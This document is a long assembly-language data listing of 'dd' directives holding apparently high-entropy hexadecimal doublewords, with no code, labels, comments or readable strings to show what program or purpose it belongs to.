		dd 0BF1512B4h, 993040A6h, 0DD59FFD1h, 90080500h, 0A53D015Fh
		dd 2EDF02AFh, 0D0AD6E5Ch, 1200D609h, 0B448A4FFh, 2C98FD72h
		dd 0EDA3C616h, 0EF9064A0h, 0B7C24080h, 0C07A1626h, 0FFE99F0Fh
		dd 0AC614297h, 0D5B92021h, 2200B352h, 0E267DB73h, 4626A5Bh
		dd 0D41151DFh, 660D424h, 8CFEAF4h, 0BD00D979h, 0B978C015h
		dd 74E044BFh, 0B34F1FD4h, 52A512CFh, 19785930h,	85DF9Ch
		dd 69DB7DA0h, 98009E59h, 4B153452h, 0C41073h, 3DD00C5Bh
		dd 35E73C99h, 4C79FB00h, 0BD39D9C3h, 0B3420E37h, 9EC0FD15h
		dd 6AD8F624h, 0D802C85Ah, 4829A49Ch, 0A0FCAF5Ch, 16143DCh
		dd 0A3883D22h, 4331A9FFh, 0F97CBFC0h, 0BEA0C000h, 0AB366816h
		dd 10DB00BAh, 85B58EB7h, 1712E7B4h, 0D0412872h,	78A3CE23h
		dd 1A0C3438h, 0C990332Bh, 8D01518h, 46C6BF0h, 0D344FCF5h
		dd 0D000AFE0h, 0E410231Ah, 3EA20961h, 9C1A18E1h, 42D92085h
		dd 74151BC4h, 982404DCh, 33A07661h, 2418C4DEh, 43D08BF6h
		dd 0F81B6237h, 48112E8Fh, 0B814E790h, 0C06280E2h, 3C05A20Eh
		dd 3A330891h, 624E4181h, 0ECD6CE58h, 2A71C984h,	217CF703h
		dd 1622CFA3h, 0D0AC8680h, 48F4CCB8h, 0D4B4E32Ch, 20DA8008h
		dd 1FC08884h, 90988264h, 0D1171063h, 10057237h,	0FC857ADAh
		dd 50CF6001h, 0A9812415h, 645439DBh, 140C303Ah,	3C3E6340h
		dd 8513B599h, 0DB144079h, 40C1156Fh, 108AB232h,	0EEDFC037h
		dd 92EC7671h, 2517F288h, 2C419AEFh, 0FD34703Ch,	0F36B1100h
		dd 591C74ADh, 15A21240h, 9000AFA7h, 7F0861F1h, 9F3A2E35h
		dd 0CCD20434h, 1C340086h, 1783B4h, 260FA07Bh, 345E7C2h
		dd 0EF1BA103h, 244E919Fh, 14D48FA0h, 2789112h, 0FEA3DCBh
		dd 64C9C5CAh, 0FA9442ADh, 2B1B8083h, 3452F4F1h,	59503B7Ch
		dd 0F84C78B8h, 79E02244h, 581762DEh, 0E4C8272Eh, 0F0F05EEFh
		dd 802B6941h, 156B0230h, 4028832Fh, 56797114h, 0C900D0DEh
		dd 9C52A23Bh, 0C490870Ah, 0ECF3CD00h, 720E41F7h, 0BC3D5D90h
		dd 0D4144701h, 30C1DAF4h, 2A5035CCh, 0B44011F0h, 2889003Eh
		dd 41461B79h, 6801F84Dh, 0A3CDE5F6h, 7C64624Ah,	480905ACh
		dd 40CFA9D3h, 0C23F9A4h, 0C33BD17Bh, 9C3D006Ch,	610984FBh
		dd 625E6Eh, 64302268h, 9A0C86DFh, 50CC88A3h, 155338A6h
		dd 0E18F424h, 0BCA036EEh, 3EC865F6h, 0C2098776h, 224EC49h
		dd 1D3172Ch, 0E0B5D1E9h, 8CA00B34h, 0DC7F80F5h,	0F0CE511Fh
		dd 28C3120Ch, 79010745h, 0F5D07FBFh, 60088CFBh,	0F33B40h
		dd 74CF0F2Ah, 0EE72962Bh, 2A3C32F1h, 0CC008C8Dh, 0B854FF06h
		dd 0AF4ECBh, 0C1265082h, 0C46D9CADh, 1384A854h,	0D9F670Bh
		dd 0CC880E78h, 1EB19D9h, 639A573Ch, 0C03F49CAh,	9F19E2EEh
		dd 3B6076C9h, 4B347C70h, 0C31CD112h, 0D4C8704Ah, 0DE29B102h
		dd 69DF49A3h, 0C0888C30h, 87046AE4h, 0B8F8D49Ch, 7594BD00h
		dd 0D011C427h, 0EFDA2C03h, 3BD30871h, 0A30B4989h, 8806A551h
		dd 0ED0A51E2h, 98CBC515h, 0D0084B00h, 306D8EADh, 0CD3890CFh
		dd 54996233h, 51AF8501h, 2C20B134h, 91070284h, 0B723A0Fh
		dd 12128454h, 0CD868400h, 0CB782515h, 588A17D0h, 0C7864F3Ch
		dd 134C18A9h, 5B9F001Dh, 10023367h, 0D0CB16D5h,	150002D9h
		dd 889BAECEh, 9236F7D8h, 3A1F3800h, 5DDBB7ACh, 4E810A1Eh
		dd 26B49C51h, 0B44CBB00h, 0D086868Fh, 0C701181Ch, 0CCEAEEEFh
		dd 682889D2h, 8D06F420h, 5A779F99h, 3DFF0028h, 0DBD686F9h
		dd 6007443h, 25C80DF3h,	0B37DE57h, 0C0CEA397h, 0F0C588FAh
		dd 0FAC1CCE1h, 463D198h, 0F471EB04h, 90AF09B2h,	6935F0h
		dd 0F24937DCh, 0DB67FE7Eh, 0A2B10501h, 51B7E1A8h, 11ACD89Ah
		dd 0BC5520C0h, 3B6A93Eh, 3E7C286Bh, 24403DCAh, 63A39B07h
		dd 1321857Ah, 0D45D0B08h, 62EAE813h, 0C48AD464h, 20B029h
		dd 0F7ED1C3Ch, 0A2127496h, 0F62D3C00h, 0FE146EF5h, 71790ED6h
		dd 2C4A9FE7h, 82A090B0h, 80F58D6Eh, 6825C4FCh, 99705C3h
		dd 90BA39DEh, 62ED37C8h, 0F5E19C7h, 0DEE485CBh,	0E1599AC0h
		dd 98CA482h, 466DA6D5h,	0CE1688A3h, 0EBDF0588h,	8284631Dh
		dd 934E7F00h, 0B63CFE15h, 6A442CDCh, 1E8213Ch, 998D206h
		dd 67BE0059h, 1B58A153h, 0BCFFC64h, 2DDC6FBDh, 858FA022h
		dd 0EE8C801h, 2415C1D8h, 92548CDFh, 0D87CC8FAh,	0BD3BED10h
		dd 0F002D448h, 0D0E47A14h, 10B7FCC1h, 7617EDB4h, 9E4968Ah
		dd 2C878FCCh, 0B1881215h, 311FBC59h, 6C5BA930h,	0A16249Fh
		dd 3C8AAFE8h, 0D3DC007Ch, 657A2DC1h, 895EDA3Eh,	858872A0h
		dd 0B484C5F8h, 31184800h, 5C5DA722h, 0E2266CD8h, 0FC684114h
		dd 0DC6B0076h, 601D1D77h, 0DB200F6h, 0A15F551h,	3E888861h
		dd 9854E1DDh, 38DC6584h, 6D960C35h, 1218607Fh, 0EF1654B0h
		dd 5C3164AFh, 4C65CFE3h, 13A5064h, 74C8AF5Dh, 80A9A39Ch
		dd 19A83588h, 0AB790206h, 6982E9DCh, 3F00AC27h,	0BDFEEDE8h
		dd 0F8F49C6Ch, 44CC558h, 346D1564h, 6C5074FDh, 96D126ECh
		dd 9D6EC100h, 0C0F8578Eh
		dd 2BD004A4h, 9FDE5B09h, 68F0A441h, 150964ACh, 2C0343D6h
		dd 5109D217h, 333CEDEh,	0D135C794h, 42176F5h, 0D0893422h
		dd 0D012CC87h, 0FA9A65FFh, 0D457CB00h, 9B3523C2h, 0B000B877h
		dd 7A972268h, 0FA006898h, 43311B7Fh, 31DD0F1Ah,	8EB91119h
		dd 0BDCC00C1h, 3E18008Bh, 85A45BFDh, 0DDE24BDAh, 0EC42AB24h
		dd 2C376E41h, 7A15F434h, 0EDC8001Bh, 0BDD00EC2h, 2498DE9Bh
		dd 5B0688A4h, 452E9F3Eh, 4330A010h, 73B80125h, 3515A1A6h
		dd 21E075DFh, 10347914h, 7F63BDh, 7C81DC70h, 0B0809966h
		dd 75E36D0Ah, 0BD848CAEh, 88AC8469h, 7AE51582h,	71EAAC81h
		dd 0EEA9893Eh, 4368801Fh, 5D808819h, 0B01A8874h, 30E0F999h
		dd 0A2533D15h, 896310E8h, 9EF3C800h, 9CD518F7h,	4BB7DE04h
		dd 7FC1B214h, 0C188D638h, 0CE80BD05h, 0A0C0DAFFh, 5F90070Ah
		dd 0C94EBF9Fh, 84E83CECh, 0F76C6703h, 2621AE20h, 8004CDC1h
		dd 68C764DBh, 72B8A97Fh, 0C0775B24h, 0A4FD3450h, 7BEB01B4h
		dd 0DE5ADA38h, 2C102809h, 9125F43Eh, 2822CBB0h,	52F63B09h
		dd 0BDA62440h, 0EF26F4B0h, 0E00A74F1h, 33011420h, 3518B34Ah
		dd 1C2CF5F5h, 8C9F3D84h, 40C62448h, 1C103074h, 899745F7h
		dd 146042F6h, 15001339h, 8F099E37h, 16F73F63h, 2084CFEDh
		dd 52993B1Ch, 0FD03E48h, 78E0A01Bh, 0EBDBC668h,	6E9C7840h
		dd 247649F1h, 87FA1Dh, 159FAE7Bh, 289A113Ah, 8C88142Ch
		dd 487BEA62h, 493C8788h, 4992341Bh, 84C4FE20h, 0FA12F313h
		dd 5C3788C8h, 0ED2DD052h, 3326D4C1h, 6360BA0h, 36544CBAh
		dd 58C89B3Bh, 288C6E10h, 1B52B13h, 0DA155568h, 3D502075h
		dd 9F907C3Bh, 0F99371D2h, 83FD101Fh, 0B36C7AA5h, 0C7CDA044h
		dd 0D76100F5h, 0B5CE4F7Fh, 9700DB9Fh, 0A999D13Dh, 60B78F86h
		dd 9B8D9029h, 0EE4D4089h, 0C9450BF8h, 1AC8A073h, 0EBF5BB35h
		dd 18A35452h, 7480657Eh, 304578E9h, 0D5B923F7h,	3F05F0BEh
		dd 5F1AA349h, 0B1C8940Bh, 88150DB0h, 8740D8A4h,	0B66C0ADBh
		dd 1BCB567h, 0B172144Eh, 5AD102D2h, 0C263224h, 0E0099D91h
		dd 0A4483854h, 68D909B4h, 4405ABC8h, 0A4E88124h, 912C2C2Dh
		dd 0A06524D0h, 0F7BC480h, 0C275CDA0h, 0A599AD10h, 42BEAD82h
		dd 41F2BC80h, 57047FDBh, 5BC49AA6h, 66EBD081h, 0CF457B00h
		dd 0DCC0C75Eh, 0A0E2619Ch, 5BD0FCh, 0EBBADD8Bh,	0B0E0C401h
		dd 72DC8800h, 33CC4F7Ah, 42C8B642h, 1C687F81h, 2C050EF5h
		dd 858AE1CDh, 4AC14DC0h, 0C494DDh, 0C95E5A30h, 6E2ED5D4h
		dd 0A3048CD3h, 608D5C41h, 0F83813E1h, 52C9226h,	388701h
		dd 68316BB0h, 3739E02Fh, 0CE9301EFh, 55F4A3A1h,	0C0FF309Eh
		dd 90B04EC3h, 7858149Ah, 8B4C10BCh, 5471DB07h, 9FA28ED2h
		dd 0A05D17DFh, 50BB31C8h, 84995AA3h, 0FBDCC024h, 5A02BAE8h
		dd 5D6D81B5h, 12EC4854h, 0F5721927h, 0F87A1087h, 9F166390h
		dd 0BC53CBA1h, 73AF6804h, 0C0B7AA82h, 8CD38Ch, 0B18774D8h
		dd 0E086EAA5h, 50152Fh,	8A257AC0h, 0A9CD603Eh, 0FBDC665Ah
		dd 2A71ED0Bh, 80FCF6A5h, 7C01F00Ah, 98A8AFA3h, 1574D825h
		dd 6638B361h, 52E1D00Fh, 0F35827EFh, 30508891h,	0C8445DA4h
		dd 241CB83Eh, 8888401Bh, 3C029204h, 0F8F325E8h,	9C73F804h
		dd 2A9C0670h, 54B2E09Ah, 0E58CE0B4h, 594821A9h,	0EB06F889h
		dd 115D9F5Ah, 0DD51517h, 2C9DF8A4h, 6238993Dh, 0AC007E3Eh
		dd 3B5F3FA2h, 9C073033h, 205E09CCh, 46A83DD0h, 2E9BBC01h
		dd 3C15F30Ah, 3E097C2Ch, 1C29CB2Ah, 0C8CFAC00h,	8E002138h
		dd 0A6FEA340h, 0FCB2B53h, 51DC5EC9h, 9FB3444h, 0BC047889h
		dd 7208040Ch, 0E91CD7A6h, 0D1DCB800h, 850BBD35h, 2225649Ch
		dd 2B74A200h, 0E701C4C8h, 20AC28F1h, 0E93402D9h, 7FC9AE4Ch
		dd 705890C1h, 9C2F8F7Bh, 2840F38h, 0EA676D9Eh, 7630C8E8h
		dd 988C9ABDh, 8C906Bh, 0AA1713B7h, 475815A0h, 720678C7h
		dd 1D69DF26h, 0C046AD21h, 0A0125B66h, 0A9D25E8Ah, 0F4A9C818h
		dd 20B0909Fh, 0F2E6F686h, 0E5634301h, 82DDC569h, 1D2E147Dh
		dd 9C7403D4h, 48048C49h, 0B8E02996h, 92CA10E4h,	41518E4h
		dd 76F46091h, 0CE2C0CB2h, 6D13E447h, 89DC380Bh,	78A89AF8h
		dd 4B4820B8h, 64D2151Bh, 0F0009D28h, 0DDAADBD8h, 1860134Ch
		dd 13F80365h, 0EBB90847h, 19C840B9h, 0F32861A0h, 0CAFC2876h
		dd 1672171Eh, 0E883E4A6h, 0B8AB3641h, 3F8B10DBh, 0A08BE4A9h
		dd 24A78011h, 15DCD049h, 0D8C0BFA3h, 0C1F818F4h, 96FA3E2Fh
		dd 16616787h, 6BCA520Fh, 9A409882h, 0D832E041h,	60B7BB8Eh
		dd 1D2BFB8h, 4C1A683Ah,	72FC248h, 0C5038FC0h, 6E703DE2h
		dd 0D3D0054Bh, 0E86CC0CAh, 9F48A95Bh, 4B4A0741h, 490C886h
		dd 0E1124C7h, 0A3C9CEABh, 83D4280Ah, 7C0CF09Eh,	6D8635D8h
		dd 50401930h, 2EC3CD23h, 69843799h, 6AEC6C0Ah, 55CB88E8h
		dd 611FA18h, 4F098FDh, 8514E5DCh, 34BCA0CDh, 2824FA51h
		dd 0E4B4C0BCh, 129EF814h, 25A2DDBAh, 78209214h,	6E12BCEEh
		dd 4C4B748Eh, 0BEDC72EFh, 0A0C21208h, 0C42096F0h, 18A318EDh
		dd 124868FCh, 30148730h, 0C46F5C1h, 7EA36D5Ah, 82488421h
		dd 7F4403BCh, 0BC06F15h, 0A6383640h, 5E292C85h,	14390B34h
		dd 0A312E4E6h, 34B38783h, 0A354C50h, 0FA0F6D8Eh, 0A3168388h
		dd 28094032h, 98A241DEh, 97268Ch, 0BBB58B3Eh, 0BC99F64Dh
		dd 366AF80Fh, 72C13C98h, 0BAE596B7h, 0F08078A5h, 52F66C38h
		dd 98906B07h, 84F52DC7h, 0DAA8C2h, 2AC1A3CAh, 537970C2h
		dd 0BBCF40F0h, 618F240Ch, 771600ECh, 0E5A915A1h, 0EA2798A9h
		dd 48E7F600h, 0E0A03A06h, 7FF59280h, 90842489h,	0FA03751Eh
		dd 9BAEB7C0h, 1885D5ECh, 0E806DB6Dh, 0A310D9C4h, 0E3138464h
		dd 73D0C905h, 494A07E4h, 0B4B66E5Ah, 0F1240010h, 0D19F7A14h
		dd 0A018077Bh, 0BFC8C937h, 0BDB3040Fh, 8852C5C3h, 0E50CEE10h
		dd 500A99A2h, 3D7701AEh, 3BC4D29Ch, 62806048h, 0D8162B0Fh
		dd 0BC6D83BDh, 0EE680053h, 0C7716B59h, 0E100CA25h, 0A4B9FE7h
		dd 906834A0h, 0DDD10C10h, 0BB69DCDAh, 72A31D08h, 81F409D2h
		dd 0C25F405Ah, 0ABCFB445h, 7CC4A8D4h, 0EAEED4E1h, 0A3A381A0h
		dd 4081720Ah, 218BC8B7h, 4109F02Eh, 6B8F300h, 0E93AF84Ah
		dd 0A13E5C1Ch, 303D0E4Ch, 66407780h, 0B7DEA0ADh, 70C0EE24h
		dd 94C3CC01h, 0CC23FC37h, 93BD3410h, 0CE1B1803h, 3F6DF035h
		dd 22F88873h, 7D019474h, 3DBD709Bh, 0F2C4E2A0h,	0E9790AADh
		dd 1B0DDD0h, 813845C2h,	841C39CBh, 0F4135804h, 711DE4A4h
		dd 0E06FB72Ch, 0F5C790h, 5C53F83Ch, 5EDA64F6h, 3BFB503h
		dd 7C35AE59h, 0CFC5210h, 25F4CC1Fh, 15224498h, 0FC6BF628h
		dd 4410C24Ah, 88C44AC4h, 53CC00F4h, 0C9251CD4h,	0D1342098h
		dd 0FA107C96h, 0DAD5A609h, 43ECCC88h, 0E5ACF09Ch, 4EC2C74h
		dd 80847214h, 4AEF3901h, 82A42CCCh, 40E61315h, 46C9B94h
		dd 0C8C20FC1h, 7698906Dh, 3B1E3EA9h, 0CE8E3565h, 77A7C07Eh
		dd 30A3CBD1h, 62841FCh,	0D9120F97h, 80F2A9E3h, 263CDC48h
		dd 89DAAE81h, 0BEF50D40h, 2C6C0068h, 3F701E1Ch,	0A2C1254Eh
		dd 0AA2584ECh, 42FECFh,	0F9EDF73Ch, 0D009DA1h, 0A54DD9D1h
		dd 7C0F993Fh, 30D76AC7h, 528C008Ch, 29E13B1Ch, 79D17C07h
		dd 0D920CEECh, 7928C4F7h, 6576266Ch, 811A16BCh,	61D1DFF4h
		dd 0CD7C40CCh, 0CB3E1EAh, 9C9C90A5h, 6003414Fh,	0C704CCC0h
		dd 116E685Fh, 4CC084D4h
		dd 7870A8h, 1599434Ch, 6F16903Dh, 0B21A8602h, 0CE4A33EEh
		dd 54059518h, 34F860C4h, 0A3885BF7h, 18C660E7h,	2ED8E2FEh
		dd 4DEE8701h, 8A03A1Bh,	3BD8470h, 1874BAFDh, 33F02531h
		dd 5D00DBA2h, 1AAE09E7h, 7083F938h, 5BDD0582h, 1B509F6Eh
		dd 1FB0C8EBh, 7A58F916h, 18B2524h, 0BE2F1550h, 0BC03D444h
		dd 0E0D5DA24h, 1213C927h, 53632172h, 0D81882C8h, 3BE091h
		dd 1C481674h, 0CCAD81A6h, 0E0088BA5h, 0CE80C854h, 6C20E098h
		dd 381801F8h, 55E2D9F7h, 5C9071CDh, 0B0907604h,	0A0185A1Eh
		dd 0ACF06Fh, 91E2CB31h,	57E8A3ABh, 0D09829CDh, 22863684h
		dd 397C977Ch, 0AADDD082h, 0A0C8B064h, 8A99124Ah, 93E227A8h
		dd 37A3F064h, 0F718C07Bh, 634E1376h, 0EB682200h, 0A2D66F35h
		dd 15CF12F0h, 6E0402Ah,	0AE78CCEFh, 739C8B12h, 59E7DC44h
		dd 917DE4E0h, 1011072Ch, 75E567h, 37956BE8h, 0C2A0E7EDh
		dd 0C064379h, 46A715D0h, 6EDE0230h, 347EC4CFh, 4B427C56h
		dd 0CA150140h, 0A42C305Dh, 9CF3CF2Eh, 1C3C8400h, 303FFE9h
		dd 1BEE5FDCh, 65F03B31h, 0A737A60Ch, 78F3D880h,	38EF88CCh
		dd 370E00F4h, 6D36BA97h, 6A4CAE16h, 30CD9620h, 0EC6D99E4h
		dd 1C448066h, 0D4B12612h, 0E7F024C8h, 1F65C30h,	0C39C8CA9h
		dd 698AA034h, 3F87A68h,	6E625F06h, 148D1F6h, 9331FCACh
		dd 20DBCD91h, 5300728Ch, 4FC66DB4h, 17B8C8Bh, 1E47E20Ah
		dd 0DBEBA3h, 5368ACFh, 199FDC89h, 5F00F723h, 16123401h
		dd 0FCD215C7h, 5A5F00A8h, 6E710242h, 807BF035h,	0AF13CC60h
		dd 80019751h, 0DE2E15C9h, 0AE448C4h, 12883913h,	3C862003h
		dd 9C99E71Dh, 5CA376D8h, 57813CADh, 7CBFD853h, 15D10508h
		dd 50D1F80Bh, 0FC00CE6Eh, 0A9026D01h, 0B0FB9FEEh, 4614E677h
		dd 0B0C32ED0h, 8C9F5B0Bh, 16AD28B9h, 7284CB88h,	837F1B20h
		dd 0C7941A98h, 0F20A05E2h, 71E90D68h, 529B7C9h,	94D41334h
		dd 0A3DCE04Ch, 7CB24198h, 0C9BA0920h, 1C705A18h, 4FB41549h
		dd 914F9478h, 82E160F0h, 793E5F10h, 9CA80025h, 7660F0CBh
		dd 49D000EEh, 72ADDDBBh, 2C94FAB3h, 0A119A006h,	0C40F0AF0h
		dd 43B07934h, 81F539B1h, 2BE4C9B4h, 2B87D800h, 0E98B7031h
		dd 401031h, 0C0F9D915h,	381C1720h, 0DD07C213h, 0CC40782Ah
		dd 0D1C415C1h, 78D0EC04h, 64EB7025h, 6C10F0D8h,	0B630C0B5h
		dd 0ECB28AF0h, 98D03D2Ah, 7EE5A63Ch, 159B3F09h,	63DC403Ah
		dd 0FD9F2F6Ch, 1C66EC0Bh, 0BCE49CAAh, 304320h, 520EE5AAh
		dd 130922C3h, 0D68DDB01h, 0C4333F5Bh, 0BE144F0h, 5DF2E35h
		dd 0B0840885h, 28B13758h, 0AE59FB88h, 1BEE3000h, 680EE7D9h
		dd 0C9DE19CFh, 0CE4D0FEBh, 8AE80F3h, 33D8685h, 0E6B8D71Dh
		dd 61197AE4h, 18594E6Eh, 0DA24A07Dh, 0A01A6108h, 1754386Fh
		dd 3091EF99h, 0F2B24CCh, 50502DF8h, 1B028F94h, 0E7A602ADh
		dd 65ACFA17h, 0B1FA680Ah, 5FDC4170h, 27986250h,	7EC483Eh
		dd 968C98Eh, 0E606C067h, 1898D414h, 0E09EF812h,	0DE056434h
		dd 4CF1C363h, 8CF650C0h, 0D7E616FFh, 0A3C8204Eh, 0F8831AB2h
		dd 0FC2A2981h, 0B0D8AED9h, 0DEA318F0h, 0ACF1290Ah, 3D932800h
		dd 0F2178E35h, 0CDA3254Eh, 0F8D3B862h, 0D2279F10h, 0EC2018C4h
		dd 4C400662h, 68A11D15h, 29BBF400h, 812E1A13h, 0B3C70B65h
		dd 0E8865924h, 0AC01E9A3h, 0C6CB3A39h, 52E0715h, 82045B94h
		dd 4C49634Ch, 870C4EEh,	313F50B6h, 0A3D888B7h, 505989E1h
		dd 0E0108836h, 0B1D58079h, 5C4BA017h, 89C120DAh, 2BDF0ED4h
		dd 25A65406h, 48420D0h,	157DCE05h, 0FCD0DC33h, 163E771h
		dd 13FBC8Dh, 2EE67A13h,	0F5A4E030h, 0FC4B48DAh,	0E044AB27h
		dd 0F09E0578h, 0C8148E0Ch, 81377C1Ch, 3F8C31CAh, 2B9C0871h
		dd 3794097Ah, 0C504688Fh, 9368BC55h, 516E54C0h,	0EAA4A893h
		dd 691C007Eh, 0BB049B3Dh, 7504B82Ah, 0BAC1C553h, 2D6E5CDCh
		dd 401056E3h, 96099F40h, 0C9B8D613h, 0B088CE64h, 0B9121576h
		dd 7C9CB4B0h, 8FA0A884h, 68FF0041h, 0B81FA31h, 7305905Eh
		dd 0E9F5A5D5h, 68D10809h, 9DD240CCh, 0A0231001h, 7E4438BFh
		dd 0F0C14884h, 0E71AE160h, 2206B351h, 13ACA3CEh, 0C01220B9h
		dd 9809D100h, 0A3A22FA8h, 2176669Bh, 0D1E7B11Eh, 2C032A44h
		dd 0E6F01336h, 6210D37Ah, 0F0E2CF30h, 21C114C9h, 0A04004A0h
		dd 94ABA9D4h, 1D2D15C0h, 0E35B40C4h, 0FCCA74C5h, 49DC782Eh
		dd 0CA12F859h, 10FE900Ah, 0F0F7EE8Ch, 0F53D243Eh, 2882AF34h
		dd 0EF02284Ah, 4CA8F02Dh, 705C3Ch, 54A53EE4h, 6D68F738h
		dd 206E3F2Fh, 88795C48h, 0B1A2333Eh, 0BDF15F10h, 820C729Ch
		dd 0A473073Eh, 28AC3194h, 0A3947804h, 84A8FEh, 66FF8BF5h
		dd 4C5C650h, 82C9FD5Fh,	26A48165h, 371AFC62h, 473F8518h
		dd 5C49F508h, 851A3E5h,	1276FF0h, 0A1FA2CE2h, 0EBEB02B8h
		dd 669E8DE0h, 6E493C09h, 235820EDh, 5BC94580h, 0D39C0005h
		dd 78A4DD0Fh, 0BA16E892h, 880025DAh, 38188C35h,	1C3E02FDh
		dd 0BEA6045Eh, 0F3064C68h, 90BF1F00h, 4E9DAE30h, 8D420353h
		dd 59456277h, 803796C1h, 0A36D2510h, 0F09EB1D8h, 0FD790086h
		dd 4F953C0Dh, 5C02D710h, 8A646BA7h, 3659C027h, 906300E4h
		dd 0E857DF2Dh, 8E004DDAh, 0A49F5530h, 98B00151h, 922D01E0h
		dd 839D5369h, 2085F839h, 2698B17Ch, 9E088A60h, 674EBB8Eh
		dd 16853C92h, 1F3F18C0h, 8D20E2CBh, 95D6409Dh, 1A4F5876h
		dd 418B230h, 173A4E9Bh,	67850C89h, 0C039A5h, 4A013ADDh
		dd 0A6A09336h, 48C0C7F2h, 0D8646AFDh, 0F4F302F6h, 43A1ED9Fh
		dd 0F840808Ch, 3A764Ch,	9EADFC5Ch, 77B4A92Fh, 64AA0061h
		dd 4DA0DD9Fh, 58C156D5h, 0A1400E92h, 0ADFC07CDh, 522D0C69h
		dd 8050578Eh, 4DCEC303h, 98CA1EAFh, 353767Ah, 0A632A9F0h
		dd 90074678h, 7BE105CDh, 1FF46141h, 24D04ED5h, 0FC39786Ch
		dd 43F073h, 9D76F1A6h, 0CABDA98Dh, 6320E01h, 1151C39Ch
		dd 0B4408CF9h, 1B2F963h, 1DB82976h, 1427185h, 488A7BFDh
		dd 1D94812Fh, 0CE52A2C8h, 18AA3EB0h, 9F182A5Eh,	30A078D8h
		dd 55100D43h, 2D001FB8h, 0F606046Dh, 634EA642h,	93EE3869h
		dd 248FC7F2h, 0C8928BE7h, 9B791500h, 0E8911756h, 4E0CA0B7h
		dd 7D500F5h, 0B9AA7C7Dh, 0A03F6C06h, 3DC80035h,	37099D7Ah
		dd 0EC3151B0h, 882040E6h, 0F83254AEh, 468F6BF4h, 9377A402h
		dd 0EF868C80h, 21000546h, 0CCDD2E57h, 12698226h, 4F55B2CFh
		dd 0EE058A70h, 0F67C208Ch, 58A1A0ECh, 0A64F0081h, 58796432h
		dd 0D16281F1h, 59309263h, 6F865004h, 5D07C51Fh,	0D3240166h
		dd 0F04C505Ah, 0A1631406h, 0F8D43C18h, 0DF7F790Eh, 8A0B4050h
		dd 9286F849h, 1745C07h,	41448932h, 4DA0C81h, 1000F003h
		dd 43B23B0Ch, 26088F2h,	90FA3ECDh, 7AE0282Ah, 5600C21Fh
		dd 0F67161AFh, 0D94AF0h, 0A59FC719h, 5CC644D5h,	85CE010Ch
		dd 4002B8F1h, 35079D7Bh, 96461963h, 0A0B8A49Ah,	329C8090h
		dd 415FF669h, 0C08FE274h, 896A2DC4h, 0B11C20D8h, 7C435141h
		dd 0FE520058h, 0C4835F5Bh, 5200450Bh, 2D706557h, 109B7D4h
		dd 486608E9h, 8040DE84h, 1ED04548h, 44B599h, 0D565E23Ch
		dd 8A8E82F9h, 874A48h, 470B7EC0h, 1F2F648h, 455120BAh
		dd 0E8D7B337h, 72046576h, 0E017770Ch, 4A0ED880h, 0B81B008Bh
		dd 0D7DF2CBDh, 810938C2h, 273263h, 92F1F800h, 808A98A6h
		dd 0C334B4h, 256F8C88h
		dd 0EBFA2D9Ch, 3E988900h, 36C7706h, 7C9E12AEh, 61A00093h
		dd 692A3F9Bh, 0D851F028h, 314F3720h, 0DBB0EB8Eh, 2493F159h
		dd 0E0A30EF4h, 33772001h, 10A3695Ah, 29115832h,	0B1A60F96h
		dd 5286FF5Ch, 29307614h, 9B8792Ch, 0DA026308h, 904845BEh
		dd 1564B22Eh, 94D85690h, 68B548A6h, 0C3001C94h,	7654DE5Ah
		dd 31F8FB84h, 83782D39h, 448EDD8h, 81581873h, 30654083h
		dd 0AC175F04h, 0D888EEF9h, 0C03BB01Fh, 3299EC61h, 2448CD51h
		dd 614E09B0h, 104083FAh, 169BC9D1h, 0A0DD65D8h,	3CF3C8h
		dd 0FC29C4F4h, 0F8A69F87h, 0A8482061h, 46E054BFh, 3C908Bh
		dd 0CBF72B03h, 0D2712D6Ch, 89EF7B03h, 3B3B17A6h, 92A63630h
		dd 0FAE12A8h, 49388BD0h, 0B960BC85h, 6113DBA8h,	0CDF2301Eh
		dd 79CA1F28h, 2FE14302h, 40B51252h, 0B081B1E6h,	9D131402h
		dd 3810C47Ah, 61480168h, 8AC645FEh, 691584D0h, 703118BEh
		dd 980803F8h, 9005FA4Eh, 0A8F6030Ch, 3E97F7Ch, 0C91F1014h
		dd 0ABB20318h, 19F4919h, 733E0E10h, 0F09087E9h,	0B76E980Dh
		dd 4650A718h, 93450523h, 9278E6E8h, 6532069Ch, 50142CA3h
		dd 85943738h, 25A9EEA0h, 5010D000h, 4EAAB7h, 0FAA1279Fh
		dd 7DEEF764h, 40534826h, 5FAE0984h, 0B5E454D1h,	12556FF8h
		dd 33F4177h, 0E7520B28h, 26C260F0h, 0C4942248h,	25121A02h
		dd 226C1254h, 64400D4Ch, 6A54D156h, 5B6076FCh, 25210350h
		dd 0A05400CFh, 37E7A412h, 623D4688h, 536D0068h,	9C93F276h
		dd 478B1EA1h, 46ED0156h, 208443A6h, 875C0108h, 2D0075D8h
		dd 8996BD6Fh, 51328E33h, 0B008EC55h, 484948ECh,	0A08C3701h
		dd 0D1851CB7h, 4FA04043h, 5F489E59h, 63950084h,	0A4E7EBAh
		dd 760490BFh, 9E7B4CB4h, 32BB1F00h, 366EBE45h, 25928805h
		dd 70940310h, 9CECD8D3h, 4E884F52h, 77260396h, 67D89956h
		dd 74499F2Eh, 1A12118h,	0F532B1EEh, 92118062h, 7C38EC12h
		dd 876600ADh, 8BE20BCFh, 48923D74h, 0B4225493h,	24851940h
		dd 8F0CA3EFh, 13E951AAh, 90270006h, 0B0F1F62Ch,	110A661h
		dd 24C3DC54h, 0EF65D152h, 86EAB09Eh, 205798A3h,	37246439h
		dd 6BE23872h, 0F4DC40C1h, 0B05EF0A8h, 1FD60060h, 9C8861BCh
		dd 0E20091E7h, 0B04F6649h, 1B69BA5h, 387DFB54h,	0A69F1F06h
		dd 0B50DA4A1h, 0B830912Ah, 0DF4F0041h, 0E184FA27h, 1305C92Eh
		dd 0B4A8B69Fh, 82DE084Bh, 27A163Ch, 2C488AD1h, 8D805882h
		dd 4F5109BFh, 5C82B020h, 0D0600A85h, 5DF18306h,	0CD020BCh
		dd 920A70B0h, 9012A730h, 2C8E4641h, 6EF29C57h, 578C80EAh
		dd 0D5A617h, 0D79DDC63h, 46661B37h, 0D422843Ah,	89C9C690h
		dd 0F60C2052h, 0C7590Fh, 0A18D367Ch, 0F8D13A0Eh, 5DF41B0Eh
		dd 1C60C0A6h, 1C56CE40h, 0A06D77B1h, 0C300E2Ch,	5DE58541h
		dd 41CC65h, 0C8932162h,	0C5B04625h, 1F8299Fh, 0F35080h
		dd 29D10D19h, 0E58DF40h, 0A7765101h, 0CE3CFA3Bh, 18F1F830h
		dd 70926E77h, 4E1C8A90h, 1CCC5C48h, 73835010h, 723800CEh
